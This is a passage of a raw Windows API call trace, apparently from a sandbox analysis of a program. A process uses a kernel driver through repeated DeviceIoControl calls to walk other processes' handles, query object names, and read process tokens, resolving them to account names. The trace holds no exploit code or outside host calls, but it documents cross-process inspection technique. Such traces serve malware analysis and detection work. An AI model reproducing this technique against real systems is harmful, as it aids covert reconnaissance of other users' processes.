(in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.301] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003302990, HandleInformation=0x0) returned 0x0 [0132.301] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.301] PsReleaseProcessExitSynchronization () returned 0x2 [0132.301] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.301] ObQueryNameString (in: Object=0xfffffa8003302990, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.301] ObfDereferenceObject (Object=0xfffffa8003302990) returned 0x1 [0132.301] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.301] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.301] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.301] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.301] PsAcquireProcessExitSynchronization () returned 0x0 [0132.301] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.301] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.301] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.301] PsReleaseProcessExitSynchronization () returned 0x2 [0132.301] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.301] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.301] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.301] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.301] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.301] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.301] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.301] PsAcquireProcessExitSynchronization () returned 0x0 [0132.301] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.301] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.301] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.302] PsReleaseProcessExitSynchronization () returned 0x2 [0132.302] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.302] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.302] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.302] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.302] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.302] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.302] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.302] PsAcquireProcessExitSynchronization () returned 0x0 [0132.302] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.302] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0132.302] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.302] PsReleaseProcessExitSynchronization () returned 0x2 [0132.302] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.302] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.302] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0132.302] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.302] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.302] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.302] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.302] PsAcquireProcessExitSynchronization () returned 0x0 [0132.302] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.302] ObReferenceObjectByHandle (in: Handle=0x4a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800352ec00, HandleInformation=0x0) returned 0x0 [0132.302] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.302] PsReleaseProcessExitSynchronization () returned 0x2 [0132.302] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.302] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.302] ObfDereferenceObject (Object=0xfffffa800352ec00) returned 0x1 [0132.302] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.302] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.303] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.303] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.303] PsAcquireProcessExitSynchronization () returned 0x0 [0132.303] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.303] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0132.303] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.303] PsReleaseProcessExitSynchronization () returned 0x2 [0132.303] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.303] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001fc37c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fc37c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.303] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0132.303] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.303] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.303] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x530) returned 0xc0 [0132.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.303] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800330c360, HandleInformation=0x0) returned 0x0 [0132.303] ObOpenObjectByPointer (in: Object=0xfffffa800330c360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0132.303] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x37 [0132.303] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa80020ad8c0 | out: TokenHandle=0xfffffa80020ad8c0*=0xc8) returned 0x0 [0132.303] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0132.303] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.303] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.303] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.306] CloseHandle (hObject=0xc8) returned 1 [0132.306] CloseHandle (hObject=0xc0) returned 1 [0132.306] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.306] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.306] PsAcquireProcessExitSynchronization () returned 0x0 [0132.306] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880050005d0) [0132.306] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800330cf20, HandleInformation=0x0) returned 0x0 [0132.306] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.306] PsReleaseProcessExitSynchronization () returned 0x2 [0132.306] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0132.306] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.306] ObfDereferenceObject (Object=0xfffffa800330cf20) returned 0x1 [0132.306] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.306] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.306] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.306] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.306] PsAcquireProcessExitSynchronization () returned 0x0 [0132.306] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880050005d0) [0132.306] ObReferenceObjectByHandle (in: Handle=0x68, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032b3c80, HandleInformation=0x0) returned 0x0 [0132.306] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.307] PsReleaseProcessExitSynchronization () returned 0x2 [0132.307] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0132.307] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.307] ObfDereferenceObject (Object=0xfffffa80032b3c80) returned 0x1 [0132.307] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.307] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.307] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.307] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.307] PsAcquireProcessExitSynchronization () returned 0x0 [0132.307] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880050005d0) [0132.307] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.307] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.307] PsReleaseProcessExitSynchronization () returned 0x2 [0132.307] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0132.307] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.307] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.307] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.307] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.307] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.307] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.307] PsAcquireProcessExitSynchronization () returned 0x0 [0132.307] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880050005d0) [0132.307] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.307] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.307] PsReleaseProcessExitSynchronization () returned 0x2 [0132.307] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0132.307] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.307] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.307] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.307] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.307] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x720) returned 0xc0 [0132.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.308] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002251300, HandleInformation=0x0) returned 0x0 [0132.308] ObOpenObjectByPointer (in: Object=0xfffffa8002251300, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0132.308] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4c [0132.308] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa80020ad8c0 | out: TokenHandle=0xfffffa80020ad8c0*=0xc8) returned 0x0 [0132.308] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0132.308] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.308] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.308] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.309] CloseHandle (hObject=0xc8) returned 1 [0132.309] CloseHandle (hObject=0xc0) returned 1 [0132.309] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.309] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.309] PsAcquireProcessExitSynchronization () returned 0x0 [0132.309] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.309] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031b5390, HandleInformation=0x0) returned 0x0 [0132.309] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.309] PsReleaseProcessExitSynchronization () returned 0x2 [0132.309] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.309] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.310] ObfDereferenceObject (Object=0xfffffa80031b5390) returned 0x1 [0132.310] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.310] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.310] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.310] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.310] PsAcquireProcessExitSynchronization () returned 0x0 [0132.310] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.310] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800eb5b310, HandleInformation=0x0) returned 0x0 [0132.310] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.310] PsReleaseProcessExitSynchronization () returned 0x2 [0132.310] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.310] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0132.310] ObfDereferenceObject (Object=0xfffffa800eb5b310) returned 0x1 [0132.310] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.310] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.310] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.310] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.310] PsAcquireProcessExitSynchronization () returned 0x0 [0132.310] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880050005d0) [0132.310] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.310] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.310] PsReleaseProcessExitSynchronization () returned 0x2 [0132.310] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0132.310] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.310] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.310] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.310] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.310] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.310] 